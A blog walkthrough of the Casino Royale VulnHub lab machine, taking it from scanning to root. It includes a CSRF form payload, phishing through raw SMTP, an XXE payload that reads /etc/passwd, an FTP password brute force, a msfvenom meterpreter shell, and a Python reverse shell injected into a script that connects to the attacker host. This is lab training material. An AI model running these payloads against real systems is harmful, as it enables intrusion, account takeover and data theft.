Casino Royale VulnHub Walkthrough – Bond, James Bond

I recently went thorough the Casino Royale VulnHub VM, so I wanted to share my write-up.

Casino Royale - Introduction

I haven't done a VulnHub walkthrough since Brainpan, so I figured it was about time for my new readers.

You can find Casino Royale on VulnHub, and the difficulty is Intermediate as it says.

This was definitely a longer one, so please let me know what you think!

Casino Royale VulnHub - Initial Configuration

First, I checked the IP of my Kali box.

root@kali:~# ifconfig eth0
eth0: flags=4163  mtu 1500
        inet 192.168.171.3  netmask 255.255.255.0  broadcast 192.168.171.255
        inet6 fe80::a00:27ff:fed8:764c  prefixlen 64  scopeid 0x20
        ether 08:00:27:d8:76:4c  txqueuelen 1000  (Ethernet)
        RX packets 1257  bytes 80808 (78.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 75  bytes 13378 (13.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

I also verified that the VM had booted and was online.

Casino Royale VulnHub - Login

Unfortunately, I was unable to find it on my local network. As it turns out, this was due to a slight error in the interfaces file, or something I broke with my device configuration.

That said, I was able to fix this by changing the DHCP interface to enp0s3.

Casino Royale VulnHub - Interfaces

With that complete, I was able to use netdiscover to find the target's IP.

root@kali:~ netdiscover -i eth0 -r 192.168.171.0/24

Currently scanning: Finished!   |   Screen View: Unique Hosts                 
                                                                               
3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
_____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
-----------------------------------------------------------------------------
192.168.171.4   08:00:27:d8:e2:88      1      60  PCS Systemtechnik GmbH   

Enumeration

With the IP in hand, I kicked off a full Nmap scan, to see what I could find.

root@kali:~ nmap -sS -sV -O -p- -n -Pn --open 192.168.171.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 22:47 EST
Nmap scan report for 192.168.171.4
Host is up (0.00029s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
25/tcp   open  smtp    Postfix smtpd
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
8081/tcp open  http    PHP cli server 5.5 or later
MAC Address: 08:00:27:D8:E2:88 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.23 seconds

The web front(s) seemed promising, so I decided to check those first. Unfortunately, there was nothing of note on the homepage of port 80.

Casino Royale VulnHub - Home Page

I also checked the source of the page, to see if there was anything interesting hidden in the page/included files.

root@kali:~ curl http://192.168.171.4/
<html>
<head>
<link rel="stylesheet" href="main.css">
</head>

<video poster="" id="bgvid" playsinline autoplay muted loop>
<source src="main1.webm" type="video/webm">
</video>

<script src="main.js"></script>
</html>

With nothing of note on the home page, I ran a Nikto scan for more information. I also ran dirb, but it didn't give anything in addition to the Nikto findings.

root@kali:~ nikto -h http://192.168.171.4
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.171.4
+ Target Hostname:    192.168.171.4
+ Target Port:        80
+ Start Time:         2019-03-02 22:48:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0xdc 0x58272762faf27
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Entry '/cards/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/kboard/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Multiple index files found: /index.php, /index.html
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ /kboard/: KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php
+ OSVDB-3092: /cards/: This might be interesting...
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /install/: This might be interesting...
+ Uncommon header 'x-permitted-cross-domain-policies' found, with contents: none
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ Uncommon header 'x-robots-tag' found, with contents: noindex, nofollow
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8348 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2019-03-02 22:48:40 (GMT-5) (32 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Unfortunately, /cards/ and /kboard/ looked like more red herrings in the form of Casino Royale images/gifs.

Casino Royale VulnHub - Cards

Casino Royale VulnHub - Kboard

The phpMyAdmin page was fairly standard, and I couldn't find any useful vulnerabilities or default credentials.

Casino Royale VulnHub - phpMyAdmin

I also checked the pages on port 8081, but I couldn't tell what the application was for.

Casino Royale VulnHub - Port 8081

Casino Royale VulnHub - Collect

That said, the /install/ page for PokerMax seemed pretty interesting, so I figured I could start attacking here.

Casino Royale VulnHub - PokerMax

PokerMax Attack

Upon clicking "Install", I saw an error informing me that installation had already occurred.

Casino Royale VulnHub - Poker Install

That said, I was able to find the application source code on GitHub.

While poking around, I figured out the URL for the admin login.

Casino Royale VulnHub - PokerMax Admin

With some more searching, I found an exploit for authentication bypass.

Casino Royale VulnHub - PokerMax Authentication Bypass

This exploit worked, and I was able to poke around the admin console! First, I found some useful information in the form of the admin password, as well as the hostname.

Casino Royale VulnHub - PokerMax Settings

After some more searching, I found another interesting URL in the profile of the "Valenka" user.

Casino Royale VulnHub - Valenka Profile

Finally, before moving on, I also decided to check if any of the users would be valid against the SMTP server. I had no use for them yet, but I figured that it might help

msf auxiliary(scanner/smtp/smtp_enum) > run

[*] 192.168.171.4:25      - 192.168.171.4:25 Banner: 220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
[+] 192.168.171.4:25      - 192.168.171.4:25 Users found: , avahi, backup, bin, daemon, ftp, games, gnats, irc, list, lp, mail, man, messagebus, news, nobody, postmaster, proxy, pulse, saned, speech-dispatcher, sync, sys, uucp, www-data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /root/casino/users.txt
USER_FILE => /root/casino/users.txt
msf auxiliary(scanner/smtp/smtp_enum) > run

[*] 192.168.171.4:25      - 192.168.171.4:25 Banner: 220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
[+] 192.168.171.4:25      - 192.168.171.4:25 Users found: le, valenka
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Casino Royale VulnHub - Blog Posts

Upon visiting the vip-client-portfolios page, I found a Snowfox CMS blog.

Casino Royale VulnHub - Snowfox

Additionally, at the bottom of the page, there was some information about e-mailing them as a new client, with Valenka regularly checking her e-mail.

Casino Royale VulnHub - New Clients

After some more searching, I attempted to reach the Snowfox login page. Unfortunately, I was unable to connect to the server.

Casino Royale VulnHub - 404

I realized that this was because I never updated my hosts file, so I went ahead and did that.

root@kali:~/casino cat /etc/hosts
127.0.0.1    localhost
127.0.1.1    kali
192.168.171.4   casino-royale.local

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

I was now able to use the blog via the hostname, and this fixed the images as well.

Casino Royale VulnHub - Hosts Fixed

Snowfox Attacks

After some searching, I found a CSRF vulnerability in the Snowfox platform.

I figured that this would be my next step, so I created my payload.

root@kali:~/casino cat snowfox.html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="doylersec@me.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="doylersec" />
      <input type="hidden" name="newPassword" value="d0yl3rs3c" />
      <input type="hidden" name="confirmPassword" value="d0yl3rs3c" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

After numerous attempts and guesses, I finally got a working e-mail that Valenka would check.

root@kali:~/casino nc -v 192.168.171.4 25
casino-royale.local [192.168.171.4] 25 (smtp) open
220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
MAIL FROM: doyler
250 2.1.0 Ok
RCPT TO: valenka
250 2.1.5 Ok
DATA
354 End data with .
SUBJECT: Obanno

http://192.168.171.3:8000/snowfox.html

.
250 2.0.0 Ok: queued as C26CF1ED3
quit
221 2.0.0 Bye

When she "clicked" on the link, I got a request for my CSRF payload.

root@kali:~/casino python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.171.4 - - [02/Mar/2019 23:47:09] "GET /snowfox.html HTTP/1.1" 200 -

With the hosts file fixed, I was able to visit the login page.

Casino Royale VulnHub - Snowfox Login

As expected, my credentials worked, and I could view the user list!

Casino Royale VulnHub - Blog Users

With some more searching, I found another interesting URL in the profile of the "le" user.

Casino Royale VulnHub - Le Profile

Ultra Access View

First, I found an open directory listing in the root of ultra-access-view. While nothing here was terribly interesting, it was a start.

Casino Royale VulnHub - Ultra Access View

The main page just had a welcome message, and a mention about client access.

Casino Royale VulnHub - Client ULTRA

Upon viewing the page source, I found some information about XML posts, as well as weak passwords!

Casino Royale VulnHub - XML Source

Based on the included source, I created an XXE payload to read /etc/passwd.

root@kali:~/casino cat xxe.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <customer>&xxe;</customer>
    <password>password</password>
</creds>

I sent a POST request to the page using cURL. As expected, I got the contents of /etc/passwd!

root@kali:~/casino curl -d "@xxe.txt" http://casino-royale.local/ultra-access-view/main.php
<html>

... < snip > ...


Welcome root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
rtkit:x:105:109:RealtimeKit,,,:/proc:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
lightdm:x:109:113:Light Display Manager:/var/lib/lightdm:/bin/false
pulse:x:110:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
saned:x:112:118::/var/lib/saned:/bin/false
le:x:1000:1000:Le Chiffre,,,:/home/le:/bin/bash
mysql:x:113:120:MySQL Server,,,:/nonexistent:/bin/false
valenka:x:1001:1001:,,,:/home/valenka:/bin/bash
postfix:x:114:121::/var/spool/postfix:/bin/false
ftp:x:115:124:ftp daemon,,,:/srv/ftp:/bin/false
ftpUserULTRA:x:1002:1002::/var/www/html/ultra-access-view:/bin/bash
!

... < snip > ...

</html>

Casino Royale VulnHub - FTP Access

With the ftp username in hand, I figured that would be my next point of attack.

Unfortunately, I was getting some errors when I tried to use the ftp_login module for more than a few requests.

msf auxiliary(scanner/ftp/ftp_login) > show options

Module options (auxiliary/scanner/ftp/ftp_login):

   Name              Current Setting                   Required  Description
   ----              ---------------                   --------  -----------
   BLANK_PASSWORDS   false                             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                 yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                             no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                             no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                             no        Add all users in the current database to the list
   PASSWORD                                            no        A specific password to authenticate with
   PASS_FILE         /usr/share/wordlists/rockyou.txt  no        File containing passwords, one per line
   Proxies                                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST      false                             no        Record anonymous/guest logins to the database
   RHOSTS            192.168.171.4                     yes       The target address range or CIDR identifier
   RPORT             21                                yes       The target port (TCP)
   STOP_ON_SUCCESS   false                             yes       Stop guessing when a credential works for a host
   THREADS           10                                yes       The number of concurrent threads
   USERNAME          ftpUserULTRA                      no        A specific username to authenticate as
   USERPASS_FILE                                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                             no        Try the username as the password for all users
   USER_FILE                                           no        File containing usernames, one per line
   VERBOSE           true                              yes       Whether to print output for all attempts

msf auxiliary(scanner/ftp/ftp_login) > run

[*] 192.168.171.4:21      - 192.168.171.4:21 - Starting FTP login sweep
[!] 192.168.171.4:21      - No active DB -- Credential data will not be saved!
[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:123456 (Incorrect: )
[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:12345 (Incorrect: )
[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:123456789 (Incorrect: )
[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:password (Incorrect: )
[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:iloveyou (Incorrect: )


...


[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:amanda (Unable to Connect: )
[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:loveyou (Unable to Connect: )
[-] 192.168.171.4:21      - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:pretty (Unable to Connect: )

That said, I was able to run hydra against the target after searching for all of the flags again. As you can see, the password for ftpUserULTRA was in the rockyou dump.

root@kali:~/casino hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt -t 64 ftp://192.168.171.4
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-03-04 12:39:03
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://192.168.171.4:21/
[STATUS] 2158.00 tries/min, 2158 tries in 00:01h, 14342370 to do in 110:47h, 64 active
[STATUS] 2033.00 tries/min, 6099 tries in 00:03h, 14338429 to do in 117:33h, 64 active
[STATUS] 1961.14 tries/min, 13728 tries in 00:07h, 14330800 to do in 121:48h, 64 active
[STATUS] 1938.47 tries/min, 29077 tries in 00:15h, 14315451 to do in 123:05h, 64 active
[21][ftp] host: 192.168.171.4   login: ftpUserULTRA   password: bankbank
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 51 final worker threads did not complete until end.
[ERROR] 51 targets did not resolve or could not be connected
[ERROR] 64 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2019-03-04 13:04:24

Using the credentials, I was able to successfully authenticate to the FTP service.

root@kali:~/casino nc -v 192.168.171.4 21
casino-royale.local [192.168.171.4] 21 (ftp) open
220 Customer Access Level: ULTRA
User ftpUserULTRA
331 Please specify the password.
PASS bankbank
230 Login successful.

I created a reverse PHP shell, since I knew that main.php was already being executed.

root@kali:~/casino msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.171.3 LPORT=443 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

Unfortunately, I was unable to upload my reverse shell as a .php file, or as a .txt file.

PASV
227 Entering Passive Mode (192,168,171,4,50,164).
STOR rev.php
550 Permission denied.
STOR rev.txt
550 Permission denied.
STOR rev

The FTP service was rejecting anything with an extension, since I was able to upload the file "text" just fine.

Casino Royale VulnHub - FTP Rejection

That said, I wasn't able to use the STOR command to actually upload any data. I'm sure this was a personal issue, but I got the FTP application to upload just fine.

Casino Royale VulnHub - FTP Success

Now that I was able to upload files, I dropped my reverse shell (with no extension) into the directory. While I was unable to rename it to rev.php, rev.php3 worked just fine, and should execute all the same.

ftp> put rev
local: rev remote: rev
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
1113 bytes sent in 0.00 secs (961.8708 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Desktop
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Documents
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Downloads
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Music
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Pictures
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Public
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Templates
drwxr-xr-x    2 1002     1002         4096 Feb 22 19:21 Videos
-rw-r--r--    1 0        0             191 Feb 22 18:42 battle2root.html
-rwxr-xr-x    1 0        0              76 Feb 20 11:38 hello_world.pl
-rwxr-xr-x    1 1002     1002         1131 Feb 20 23:00 main.php
-rw-------    1 1002     1002         1113 Mar 04 08:03 rev
226 Directory send OK.
ftp> chmod 777 rev
200 SITE CHMOD command ok.
ftp> rename rev rev.php
350 Ready for RNTO.
550 Permission denied.
ftp> rename rev rev.php3
350 Ready for RNTO.
250 Rename successful.

As expected, when I visited rev.php3, I caught my reverse Meterpreter shell!

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.171.3:443
[*] Sending stage (37775 bytes) to 192.168.171.4
[*] Meterpreter session 1 opened (192.168.171.3:443 -> 192.168.171.4:45260) at 2019-03-04 14:04:31 -0500

meterpreter > sysinfo
Computer    : casino
OS          : Linux casino 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
Meterpreter : php/linux

Lateral Movement

After taking a very quick look around, I was able to find some potential credentials for the valenka user.

pwd        
/var/www/html/includes
cat config.php
<?PHP
/*
PokerMax Pro Poker League Software
Written by Steve Dawson - 01-07-2007 www.stevedawson.com
*/

/** Complete your database info below and then run the yourdomain.com/install/  **/
/**************** DATABASE MODIFICATION SECTION ****************/
$server = "localhost";                              // Server Host
$DBusername = "valenka";                               // Database Username
$DBpassword = "11archives11!";                                   // Database Password
$database = "pokerleague";                       // Database Name

$tournament_table = "pokermax_tournaments";
$admin_table = "pokermax_admin";
$player_table = "pokermax_players";
$score_table = "pokermax_scores";
/**************** OPTIONS SECTION ****************/
$search_limit = "50"; // listings per page - tournaments and players
$DatabaseError = "<p align=\"center\" class=\"red\">No details found, please try again later</p>";
# $playerid = date("dmyHis");
$tournamentid = date("dmyHis");
/**************** DATE STAMP SECTION ****************/
$dateadded = date("j F Y");     // Date and time of info request
$version = "v0.13";

?>

Once I spawned a pseudo-tty, I was able to laterally move to the 'valenka' user with the previously discovered password.

python -c 'import pty;pty.spawn("/bin/bash");'
www-data@casino:/var/www/html/includes$ su - valenka
su - valenka
Password: 11archives11!

valenka@casino:~$ id
id
uid=1001(valenka) gid=1001(valenka) groups=1001(valenka)

Casino Royale VulnHub - Privilege Escalation

As the valenka user, I was able to discover one interesting SUID binary.

valenka@casino:~$ find / -user root -perm -4000 -exec ls -al {} \; 2>/dev/null
-rwsr-sr-x 1 root root 8696 Feb 20 14:26 /opt/casino-royale/mi6_detect_test
-rwsr-xr-x 1 root root 14856 Dec  6 12:34 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 42992 Mar  2  2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 root root 10576 Oct 31 12:58 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 440728 Aug 20  2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 35936 Mar  6  2012 /usr/sbin/userhelper
-rwsr-xr-x 1 root root 75792 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 140944 Jun  5  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 50040 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 40504 May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 40312 May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59680 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23352 Dec  6 12:34 /usr/bin/pkexec
-rwsr-xr-x 1 root root 40536 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 146128 Feb 26  2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 61240 Nov 10  2016 /bin/ping
-rwsr-xr-x 1 root root 31720 Mar  7  2018 /bin/umount
-rwsr-xr-x 1 root root 44304 Mar  7  2018 /bin/mount
-rwsr-xr-x 1 root root 30800 Aug 21  2018 /bin/fusermount

There were some other interesting files in the casino-royale directory as well, which might be necessary for the escalation.

valenka@casino:/opt/casino-royale$ ls -al
ls -al
total 48
drwxrwxr-x 2 root le       4096 Feb 22 19:03 .
drwxr-xr-x 4 root root     4096 Jan 17 18:17 ..
-rwxrw---- 1 le   www-data  210 Feb 20 15:22 casino-data-collection.py
-rw------- 1 le   le         40 Feb 22 19:02 closer2root.txt
-rw-r--r-- 1 root root       79 Feb 20 14:54 collect.php
-rwxr-xr-x 1 root root      174 Feb 21 21:48 index.html
-rwsr-sr-x 1 root root     8696 Feb 20 14:26 mi6_detect_test
-rwxrwxr-x 1 le   le         54 Feb 20 16:56 php-web-start.sh
-rwxr-x--- 1 le   le        402 Feb 20 15:30 run.sh
-rwxrwxr-x 1 le   le         71 Feb 20 15:21 user-data.log

When I ran the mi6_detect_test binary, I spit out some basic netstat and ps information. I guessed that it was likely using the run.sh script, which I'd be able to change if I could migrate to the 'le' user.

valenka@casino:/opt/casino-royale$ ./mi6_detect_test
./mi6_detect_test
--------------------
Active Internet connections (servers and established)
--------------------
08:11:43 up 1 day,  5:30,  0 users,  load average: 0.02, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
--------------------
le         491  0.0  0.2  11176  2828 ?        Ss   Mar03   0:00 /bin/bash /opt/casino-royale/php-web-start.sh
root       493  0.0  0.2  11176  2884 ?        Ss   Mar03   0:00 /bin/bash /root/ctf-scripts/act.sh
www-data 15023  0.0  0.6  32176  7132 ?        S    08:07   0:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15024  0.0  0.3  18168  3136 pts/0    Ss   08:07   0:00 /bin/bash
www-data 15059  0.0  0.6  32176  7044 ?        S    08:07   0:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15060  0.0  0.3  18168  3152 pts/1    Ss   08:07   0:00 /bin/bash
root     15231  0.0  0.0   4288   720 pts/1    S+   08:11   0:00 sh -c /bin/bash run.sh
root     15232  0.0  0.2  11172  2924 pts/1    S+   08:11   0:00 /bin/bash run.sh
--------------------
le         491     1  0 Mar03 ?        00:00:00 /bin/bash /opt/casino-royale/php-web-start.sh
root       493     1  0 Mar03 ?        00:00:00 /bin/bash /root/ctf-scripts/act.sh
www-data 15023 15005  0 08:07 ?        00:00:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15024 15023  0 08:07 pts/0    00:00:00 /bin/bash
www-data 15059 15058  0 08:07 ?        00:00:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15060 15059  0 08:07 pts/1    00:00:00 /bin/bash
root     15231 15230  0 08:11 pts/1    00:00:00 sh -c /bin/bash run.sh
root     15232 15231  0 08:11 pts/1    00:00:00 /bin/bash run.sh

The collect.php script actually matched the application running on port 8081 that I found earlier in my enumeration phase.

Casino Royale VulnHub - Collect Again

Taking a look at the source code, it just ran the casino-data-collection.py script in the same directory.

valenka@casino:/opt/casino-royale$ cat collect.php
cat collect.php
<?php
$out = shell_exec('python casino-data-collection.py');
echo "$out";

?>

While my 'valenka' user had no access to the Python file, www-data actually had read and write permissions.

valenka@casino:/opt/casino-royale$ cat casino-data-collection.py
cat casino-data-collection.py
cat: casino-data-collection.py: Permission denied
valenka@casino:/opt/casino-royale$ ls -al casino-data-collection.py
ls -al casino-data-collection.py
-rwxrw---- 1 le www-data 210 Feb 20 15:22 casino-data-collection.py
valenka@casino:/opt/casino-royale$ exit
exit
logout
www-data@casino:/var/www/html/ultra-access-view$ cd /opt/casino-royale
cd /opt/casino-royale
www-data@casino:/opt/casino-royale$ cat casino-data-collection.py
cat casino-data-collection.py
#!/usr/bin/python
# Collect logs and user data to sell for marketing research

file = open("/opt/casino-royale//user-data.log","r")
print file.read()

#ftpl = open("/var/log/vsftpd.log","r")
#print ftpl.read()

After swapping back to my www-data user, I was able to add a very basic Python reverse shell to the script.

www-data@casino:/opt/casino-royale$ cat casino-data-collection.py
cat casino-data-collection.py
#!/usr/bin/python
# Collect logs and user data to sell for marketing research

file = open("/opt/casino-royale//user-data.log","r")


import sys,socket,os,pty;s=socket.socket();s.connect(("192.168.171.3",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
print file.read()

#ftpl = open("/var/log/vsftpd.log","r")
#print ftpl.read()

When I re-ran the data collection, I got a reverse shell as the 'le' user!

root@kali:~/casino nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.171.3] from casino-royale.local [192.168.171.4] 52292
$ id
id
uid=1000(le) gid=1000(le) groups=1000(le),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)

As I previously assumed, the run.sh script was used for the output of the mi6_detect_test binary.

$ cat run.sh
cat run.sh
#!/bin/bash
# The devs refuse to create an in-house security app until they get their back-pay
# ...they've always been entitled nerds...I'll just create one myself!
echo "--------------------"
netstat -antp |grep sh
echo "--------------------"
w
echo "--------------------"
ps -aux |grep -v grep |grep bash
echo "--------------------"
ps -ef | grep -v grep |grep bash

# Adding more in teh future....

I added a quick /bin/bash to the end of the script, ran it, and got root!

$ echo '/bin/bash' >> run.sh
echo '/bin/bash' >> run.sh
$ ./mi6_detect_test
./mi6_detect_test
--------------------
Active Internet connections (servers and established)
--------------------
08:19:32 up 1 day,  5:38,  0 users,  load average: 0.00, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
--------------------
le         491  0.0  0.2  11176  2828 ?        Ss   Mar03   0:00 /bin/bash /opt/casino-royale/php-web-start.sh
root       493  0.0  0.2  11176  2884 ?        Ss   Mar03   0:00 /bin/bash /root/ctf-scripts/act.sh
www-data 15023  0.0  0.6  32176  7132 ?        S    08:07   0:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15024  0.0  0.3  18168  3136 pts/0    Ss   08:07   0:00 /bin/bash
www-data 15059  0.0  0.6  32176  7044 ?        S    08:07   0:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15060  0.0  0.3  18168  3232 pts/1    Ss+  08:07   0:00 /bin/bash
root     15400  0.0  0.0   4288   740 pts/2    S+   08:19   0:00 sh -c /bin/bash run.sh
root     15401  0.0  0.2  11172  3036 pts/2    S+   08:19   0:00 /bin/bash run.sh
--------------------
le         491     1  0 Mar03 ?        00:00:00 /bin/bash /opt/casino-royale/php-web-start.sh
root       493     1  0 Mar03 ?        00:00:00 /bin/bash /root/ctf-scripts/act.sh
www-data 15023 15005  0 08:07 ?        00:00:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15024 15023  0 08:07 pts/0    00:00:00 /bin/bash
www-data 15059 15058  0 08:07 ?        00:00:00 python -c import pty;pty.spawn("/bin/bash");
www-data 15060 15059  0 08:07 pts/1    00:00:00 /bin/bash
root     15400 15399  0 08:19 pts/2    00:00:00 sh -c /bin/bash run.sh
root     15401 15400  0 08:19 pts/2    00:00:00 /bin/bash run.sh
root@casino:/opt/casino-royale# id
id
uid=0(root) gid=1000(le) groups=1000(le),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)

At this point, I was root, and the challenge was all but solved.

root@casino:/root# hostname
hostname
casino
root@casino:/root# id
id
